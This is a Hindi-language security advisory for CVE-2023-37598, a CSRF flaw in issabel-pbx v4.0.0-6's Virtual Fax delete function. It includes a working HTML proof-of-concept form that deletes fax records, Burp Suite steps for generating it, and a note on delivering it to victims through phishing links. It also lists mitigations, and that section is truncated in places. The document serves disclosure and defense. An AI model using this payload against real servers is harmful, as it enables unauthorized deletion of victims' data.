
issabel-pbx v4.0.0-6 में Virtual Fax प्रबंधन कार्यक्षमता में एक Cross-Site Request Forgery (CSRF) कमजोरी मौजूद है।
CVE ID: CVE-2023-37598
भेद्यता प्रकार: क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF)
प्रभावित उत्पाद: issabel-pbx v4.0.0-6
गंभीरता: मध्यम
खोजकर्ता: Sahil Ojha
प्रकटीकरण तिथि: 10/07/2023
विक्रेता होमपेज: https://www.issabel.org/
सॉफ्टवेयर रिपॉजिटरी: https://github.com/IssabelFoundation/issabelPBX
परीक्षण किया गया: Windows
issabel-pbx v4.0.0-6 में वर्चुअल फैक्स प्रबंधन कार्यक्षमता में एक क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) भेद्यता मौजूद है। एप्लिकेशन वर्चुअल फैक्स प्रविष्टियों के लिए डिलीट क्रिया पर CSRF सुरक्षा (जैसे, एंटी-CSRF टोकन या समान-साइट कुकी विशेषताएँ) लागू नहीं करता है।
यह एक दूरस्थ, अप्रमाणित हमलावर को एक दुर्भावनापूर्ण HTML पृष्ठ तैयार करने की अनुमति देता है, जो — जब कोई प्रमाणित व्यवस्थापक या उपयोगकर्ता इसे देखता है — पीड़ित की ओर से एप्लिकेशन को एक जाली HTTP अनुरोध चुपचाप प्रस्तुत करता है। जाली अनुरोध पीड़ित की जानकारी या सहमति के बिना वर्चुअल फैक्स रिकॉर्ड को हटाने का कारण बनता है, जिसके परिणामस्वरूप डेटा की हानि और फैक्स सेवाओं में व्यवधान होता है।
क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) एक हमला है जो पीड़ित के ब्राउज़र को उपयोगकर्ता के इरादे के बिना वेब एप्लिकेशन को एक प्रमाणित अनुरोध भेजने के लिए धोखा देता है। क्योंकि ब्राउज़र स्वचालित रूप से प्रत्येक अनुरोध के साथ सत्र कुकीज़ शामिल करता है, सर्वर CSRF टोकन मौजूद न होने पर वैध अनुरोध को जाली अनुरोध से अलग नहीं कर सकता है।
| पैरामीटर | मान |
|---|---|
| एप्लिकेशन | issabel-pbx |
| संस्करण | 4.0.0-6 |
| भेद्य URL | /index.php?menu=faxnew&action=view&id=<ID> |
| भेद्य क्रिया | delete (POST पैरामीटर) |
| गायब सुरक्षा | CSRF टोकन / SameSite कुकी विशेषता |
निम्नलिखित HTML फ़ाइल, जब किसी प्रमाणित issabel-pbx उपयोगकर्ता द्वारा खोली जाती है, तो स्वचालित रूप से एक जाली POST अनुरोध प्रस्तुत करेगी जो id_fax=1 वाले वर्चुअल फैक्स को हटा देता है।
फ़ाइल: CSRF exploit.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_fax" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
नोट:
{Issabel IP}को लक्ष्य सर्वर के IP पते या होस्टनाम से बदलें।id_faxमान को बदलकर किसी भी वर्चुअल फैक्स रिकॉर्ड को उसके ID द्वारा लक्षित किया जा सकता है।
Issabel PBX व्यवस्थापक पैनल में लॉग इन करें और वर्चुअल फैक्स पृष्ठ पर जाएं:
https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1

बर्प सूट प्रॉक्सी का उपयोग करके डिलीट अनुरोध को कैप्चर करें। वर्चुअल फैक्स प्रविष्टि को हटाने का प्रयास करें, अनुरोध को इंटरसेप्ट करें, उस पर राइट-क्लिक करें, और Engagement Tools → Generate CSRF PoC पर जाएं।

उत्पन्न CSRF शोषण को एक HTML फ़ाइल के रूप में सहेजें (ऊपर PoC देखें)।
शोषण को एक उपयोगकर्ता को वितरित करें जो पहले से Issabel एप्लिकेशन में लॉग इन है (जैसे, फ़िशिंग ईमेल या दुर्भावनापूर्ण लिंक के माध्यम से)। जब पीड़ित पृष्ठ खोलता है और "Submit request" पर क्लिक करता है, तो वर्चुअल फैक्स प्रविष्टि बिना किसी और बातचीत के हटा दी जाती है।


एक हमलावर दुर्भावनापूर्ण HTML फ़ाइल को बाहरी सर्वर पर होस्ट करता है या इसे ईमेल में एम्बेड करता है। जब कोई प्रमाणित Issabel PBX व्यवस्थापक इस पृष्ठ को उसी ब्राउज़र सत्र में खोलता है, तो ब्राउज़र स्वचालित रूप से जाली POST अनुरोध — जिसमें वैध सत्र कुकी शामिल है — Issabel सर्वर को भेजता है। सर्वर अनुरोध को वैध मानकर संसाधित करता है, लक्षित वर्चुअल फैक्स रिकॉर्ड को हटा देता है। पीड़ित को कोई चेतावनी नहीं मिलती है और जब तक वे मैन्युअल रूप से फैक्स सूची का निरीक्षण नहीं करते, तब तक हटाने पर ध्यान नहीं दे सकते हैं।
इस भेद्यता को ठीक करने के लिए, विक्रेता को निम्नलिखित में से एक या अधिक शमन लागू करना चाहिए:
SameSite=Strict या SameSite=Lax के साथ सेट करें ताकि ब्राउज़र इसे क्रॉस-ओरिजिन अनुरोधों के साथ भेजने से रोका जा सके।X-Requested-With: XMLHttpRequest) की आवश्यकता हो, और इसे सर्वर-साइड सत्यापित करें।